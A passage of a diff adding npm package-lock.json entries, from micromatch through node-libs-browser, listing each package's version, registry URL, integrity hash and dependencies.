"https://registry.npmjs.org/micromatch/-/micromatch-2.3.11.tgz", + "integrity": "sha1-hmd8l9FyCzY0MdBNDRUpO9OMFWU=", + "dev": true, + "requires": { + "arr-diff": "^2.0.0", + "array-unique": "^0.2.1", + "braces": "^1.8.2", + "expand-brackets": "^0.1.4", + "extglob": "^0.3.1", + "filename-regex": "^2.0.0", + "is-extglob": "^1.0.0", + "is-glob": "^2.0.1", + "kind-of": "^3.0.2", + "normalize-path": "^2.0.1", + "object.omit": "^2.0.0", + "parse-glob": "^3.0.4", + "regex-cache": "^0.4.2" + } + }, + "miller-rabin": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/miller-rabin/-/miller-rabin-4.0.0.tgz", + "integrity": "sha1-SmL7HUKTPAVYOYL0xxb2+55sbT0=", + "dev": true, + "requires": { + "bn.js": "^4.0.0", + "brorand": "^1.0.1" + } + }, + "mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" + }, + "mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==" + }, + "mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "requires": { + "mime-db": "1.52.0" + } + }, + "mimic-fn": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-1.2.0.tgz", + "integrity": "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==", + "dev": true + }, + "mimic-response": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.0.tgz", + "integrity": "sha1-3z02Uqc/3ta5sLJBRub9BSNTRY4=", + "dev": true, + "optional": true + }, + "minimalistic-assert": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.0.tgz", + "integrity": "sha1-cCvi3aazf0g2vLP121ZkG2Sh09M=", + "dev": true + }, + "minimalistic-crypto-utils": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz", + "integrity": "sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo=", + "dev": true + }, + "minimatch": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", + "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==" + }, + "mississippi": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-2.0.0.tgz", + "integrity": "sha512-zHo8v+otD1J10j/tC+VNoGK9keCuByhKovAvdn74dmxJl9+mWHnx6EMsDN4lgRoMI/eYo2nchAxniIbUPb5onw==", + "dev": true, + "requires": { + "concat-stream": "^1.5.0", + "duplexify": "^3.4.2", + "end-of-stream": "^1.1.0", + "flush-write-stream": "^1.0.0", + "from2": "^2.1.0", + "parallel-transform": "^1.1.0", + "pump": "^2.0.1", + "pumpify": "^1.3.3", + "stream-each": "^1.1.0", + "through2": "^2.0.0" + } + }, + "mixin-deep": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.1.tgz", + "integrity": "sha512-8ZItLHeEgaqEvd5lYBXfm4EZSFCX29Jb9K+lAHhDKzReKBQKj3R+7NOF6tjqYi9t4oI8VUfaWITJQm86wnXGNQ==", + "requires": { + "for-in": "^1.0.2", + "is-extendable": "^1.0.1" + }, + "dependencies": { + "is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "requires": { + "is-plain-object": "^2.0.4" + } + } + } + }, + "mixin-object": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/mixin-object/-/mixin-object-2.0.1.tgz", + "integrity": "sha1-T7lJRB2rGCVA8f4DW6YOGUel5X4=", + "dev": true, + "requires": { + "for-in": "^0.1.3", + "is-extendable": "^0.1.1" + }, + "dependencies": { + "for-in": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/for-in/-/for-in-0.1.8.tgz", + "integrity": "sha1-2Hc5COMSVhCZUrH9ubP6hn0ndeE=", + "dev": true + } + } + }, + "mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "requires": { + "minimist": "^1.2.6" + } + }, + "mocha": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/mocha/-/mocha-6.2.3.tgz", + "integrity": "sha512-0R/3FvjIGH3eEuG17ccFPk117XL2rWxatr81a57D+r/x2uTYZRbdZ4oVidEUMh2W2TJDa7MdAb12Lm2/qrKajg==", + "dev": true, + "requires": { + "ansi-colors": "3.2.3", + "browser-stdout": "1.3.1", + "debug": "3.2.6", + "diff": "3.5.0", + "escape-string-regexp": "1.0.5", + "find-up": "3.0.0", + "glob": "7.1.3", + "growl": "1.10.5", + "he": "1.2.0", + "js-yaml": "3.13.1", + "log-symbols": "2.2.0", + "minimatch": "3.0.4", + "mkdirp": "0.5.4", + "ms": "2.1.1", + "node-environment-flags": "1.0.5", + "object.assign": "4.1.0", + "strip-json-comments": "2.0.1", + "supports-color": "6.0.0", + "which": "1.3.1", + "wide-align": "1.1.3", + "yargs": "13.3.2", + "yargs-parser": "13.1.2", + "yargs-unparser": "1.6.0" + }, + "dependencies": { + "ansi-regex": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz", + "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==", + "dev": true + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true + }, + "cliui": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz", + "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==", + "dev": true, + "requires": { + "string-width": "^3.1.0", + "strip-ansi": "^5.2.0", + "wrap-ansi": "^5.1.0" + } + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "requires": { + "color-name": "1.1.3" + } + }, + "debug": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", + "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "dev": true, + "requires": { + "ms": "^2.1.1" + } + }, + "emoji-regex": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", + "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", + "dev": true + }, + "esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true + }, + "find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dev": true, + "requires": { + "locate-path": "^3.0.0" + } + }, + "get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true + }, + "glob": { + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.3.tgz", + "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true + }, + "is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "dev": true + }, + "js-yaml": { + "version": "3.13.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", + "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", + "dev": true, + "requires": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + } + }, + "locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "requires": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + } + }, + "mkdirp": { + "version": "0.5.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.4.tgz", + "integrity": "sha512-iG9AK/dJLtJ0XNgTuDbSyNS3zECqDlAhnQW4CsNxBG3LQJBbHmRX1egw39DmtOdCAqY+dKXV+sgPgilNWUKMVw==", + "dev": true, + "requires": { + "minimist": "^1.2.5" + } + }, + "ms": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", + "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==", + "dev": true + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "requires": { + "p-limit": "^2.0.0" + } + }, + "p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true + }, + "path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==", + "dev": true + }, + "require-main-filename": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", + "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", + "dev": true + }, + "string-width": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", + "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", + "dev": true, + "requires": { + "emoji-regex": "^7.0.1", + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^5.1.0" + } + }, + "strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, + "requires": { + "ansi-regex": "^4.1.0" + } + }, + "supports-color": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.0.0.tgz", + "integrity": "sha512-on9Kwidc1IUQo+bQdhi8+Tijpo0e1SS6RoGo2guUwn5vdaxw8RXOF9Vb2ws+ihWOmh4JnCJOvaziZWP1VABaLg==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + }, + "which-module": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", + "integrity": "sha512-B+enWhmw6cjfVC7kS8Pj9pCrKSc5txArRyaYGe088shv/FGWH+0Rjx/xPgtsWfsUtS27FkP697E4DDhgrgoc0Q==", + "dev": true + }, + "wrap-ansi": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz", + "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.0", + "string-width": "^3.0.0", + "strip-ansi": "^5.0.0" + } + }, + "y18n": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", + "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", + "dev": true + }, + "yargs": { + "version": "13.3.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz", + "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==", + "dev": true, + "requires": { + "cliui": "^5.0.0", + "find-up": "^3.0.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^3.0.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^13.1.2" + } + }, + "yargs-parser": { + "version": "13.1.2", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz", + "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==", + "dev": true, + "requires": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + } + } + } + }, + "mocha-junit-reporter": { + "version": "1.23.1", + "resolved": "https://registry.npmjs.org/mocha-junit-reporter/-/mocha-junit-reporter-1.23.1.tgz", + "integrity": "sha512-qeDvKlZyAH2YJE1vhryvjUQ06t2hcnwwu4k5Ddwn0GQINhgEYFhlGM0DwYCVUHq5cuo32qAW6HDsTHt7zz99Ng==", + "dev": true, + "requires": { + "debug": "^2.2.0", + "md5": "^2.1.0", + "mkdirp": "~0.5.1", + "strip-ansi": "^4.0.0", + "xml": "^1.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "dev": true + }, + "strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "dev": true, + "requires": { + "ansi-regex": "^3.0.0" + } + } + } + }, + "module-deps": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/module-deps/-/module-deps-6.1.0.tgz", + "integrity": "sha512-NPs5N511VD1rrVJihSso/LiBShRbJALYBKzDW91uZYy7BpjnO4bGnZL3HjZ9yKcFdZUWwaYjDz9zxbuP7vKMuQ==", + "dev": true, + "requires": { + "browser-resolve": "^1.7.0", + "cached-path-relative": "^1.0.0", + "concat-stream": "~1.6.0", + "defined": "^1.0.0", + "detective": "^5.0.2", + "duplexer2": "^0.1.2", + "inherits": "^2.0.1", + "JSONStream": "^1.0.3", + "parents": "^1.0.0", + "readable-stream": "^2.0.2", + "resolve": "^1.4.0", + "stream-combiner2": "^1.1.1", + "subarg": "^1.0.0", + "through2": "^2.0.0", + "xtend": "^4.0.0" + }, + "dependencies": { + "concat-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", + "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", + "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" + } + } + } + }, + "moment": { + "version": "2.22.2", + "resolved": "https://registry.npmjs.org/moment/-/moment-2.22.2.tgz", + "integrity": "sha1-PCV/mDn8DpP/UxSWMiOeuQeD/2Y=" + }, + "moment-timezone": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/moment-timezone/-/moment-timezone-0.5.21.tgz", + "integrity": "sha512-j96bAh4otsgj3lKydm3K7kdtA3iKf2m6MY2iSYCzCm5a1zmHo1g+aK3068dDEeocLZQIS9kU8bsdQHLqEvgW0A==", + "requires": { + "moment": ">= 2.9.0" + } + }, + "move-concurrently": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/move-concurrently/-/move-concurrently-1.0.1.tgz", + "integrity": "sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=", + "dev": true, + "requires": { + "aproba": "^1.1.1", + "copy-concurrently": "^1.0.0", + "fs-write-stream-atomic": "^1.0.8", + "mkdirp": "^0.5.1", + "rimraf": "^2.5.4", + "run-queue": "^1.0.3" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "mute-stream": { + "version": "0.0.7", + "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.7.tgz", + "integrity": "sha1-MHXOk7whuPq0PhvE2n6BFe0ee6s=", + "dev": true + }, + "nan": { + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.9.2.tgz", + "integrity": "sha512-ltW65co7f3PQWBDbqVvaU1WtFJUsNW7sWWm4HINhbMQIyVyzIeyZ8toX5TC5eeooE6piZoaEh4cZkueSKG3KYw==", + "dev": true, + "optional": true + }, + "nanomatch": { + "version": "1.2.13", + "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz", + "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==", + "requires": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "fragment-cache": "^0.2.1", + "is-windows": "^1.0.2", + "kind-of": "^6.0.2", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=" + }, + "array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=" + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==" + } + } + }, + "natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", + "dev": true + }, + "negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "peer": true + }, + "neo-async": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.5.1.tgz", + "integrity": "sha512-3KL3fvuRkZ7s4IFOMfztb7zJp3QaVWnBeGoJlgB38XnCRPj/0tLzzLG5IB8NYOHbJ8g8UGrgZv44GLDk6CxTxA==" + }, + "nested-error-stacks": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/nested-error-stacks/-/nested-error-stacks-2.0.1.tgz", + "integrity": "sha512-SrQrok4CATudVzBS7coSz26QRSmlK9TzzoFbeKfcPBUFPjcQM9Rqvr/DlJkOrwI/0KcgvMub1n1g5Jt9EgRn4A==", + "dev": true + }, + "next-tick": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.0.0.tgz", + "integrity": "sha1-yobR/ogoFpsBICCOPchCS524NCw=", + "dev": true + }, + "nice-try": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz", + "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==" + }, + "nocache": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/nocache/-/nocache-3.0.4.tgz", + "integrity": "sha512-WDD0bdg9mbq6F4mRxEYcPWwfA1vxd0mrvKOyxI7Xj/atfRHVeutzuWByG//jfm4uPzp0y4Kj051EORCBSQMycw==", + "peer": true + }, + "node-abi": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-2.3.0.tgz", + "integrity": "sha512-zwm6vU3SsVgw3e9fu48JBaRBCJGIvAgysDsqtf5+vEexFE71bEOtaMWb5zr/zODZNzTPtQlqUUpC79k68Hspow==", + "dev": true, + "optional": true, + "requires": { + "semver": "^5.4.1" + } + }, + "node-dir": { + "version": "0.1.17", + "resolved": "https://registry.npmjs.org/node-dir/-/node-dir-0.1.17.tgz", + "integrity": "sha512-tmPX422rYgofd4epzrNoOXiE8XFZYOcCq1vD7MAXCDO+O+zndlA2ztdKKMa+EeuBG5tHETpr4ml4RGgpqDCCAg==", + "peer": true, + "requires": { + "minimatch": "^3.0.2" + } + }, + "node-environment-flags": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/node-environment-flags/-/node-environment-flags-1.0.5.tgz", + "integrity": "sha512-VNYPRfGfmZLx0Ye20jWzHUjyTW/c+6Wq+iLhDzUI4XmhrDd9l/FozXV3F2xOaXjvp0co0+v1YSR3CMP6g+VvLQ==", + "dev": true, + "requires": { + "object.getownpropertydescriptors": "^2.0.3", + "semver": "^5.7.0" + } + }, + "node-fetch": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz", + "integrity": "sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==", + "requires": { + "encoding": "^0.1.11", + "is-stream": "^1.0.1" + } + }, + "node-gyp": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.6.2.tgz", + "integrity": "sha1-m/vlRWIoYoSDjnUOrAUpWFP6HGA=", + "dev": true, + "optional": true, + "requires": { + "fstream": "^1.0.0", + "glob": "^7.0.3", + "graceful-fs": "^4.1.2", + "minimatch": "^3.0.2", + "mkdirp": "^0.5.0", + "nopt": "2 || 3", + "npmlog": "0 || 1 || 2 || 3 || 4", + "osenv": "0", + "request": "2", + "rimraf": "2", + "semver": "~5.3.0", + "tar": "^2.0.0", + "which": "1" + }, + "dependencies": { + "glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "optional": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "semver": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.3.0.tgz", + "integrity": "sha1-myzl094C0XxgEq0yaqa00M9U+U8=", + "dev": true, + "optional": true + } + } + }, + "node-int64": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz", + "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==", + "peer": true + }, + "node-libs-browser": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.1.0.tgz", + "integrity": "sha512-5AzFzdoIMb89hBGMZglEegffzgRg+ZFoUmisQ8HI4j1KDdpx13J0taNp2y9xPbur6W61gepGDDotGBVQ7mfUCg==", + "dev": true, + "requires": { + "assert": "^1.1.1", + "browserify-zlib": "^0.2.0", + "buffer": "^4.3.0", + "console-browserify": "^1.1.0", + "constants-browserify": "^1.0.0", + "crypto-browserify": "^3.11.0", + "domain-browser": "^1.1.1", + "events": "^1.0.0", + "https-browserify": "^1.0.0", + "os-browserify": "^0.3.0", + "path-browserify": "0.0.0", + "process": "^0.11.10", + "punycode": "^1.2.4", + "querystring-es3": "^0.2.0", + "readable-stream": 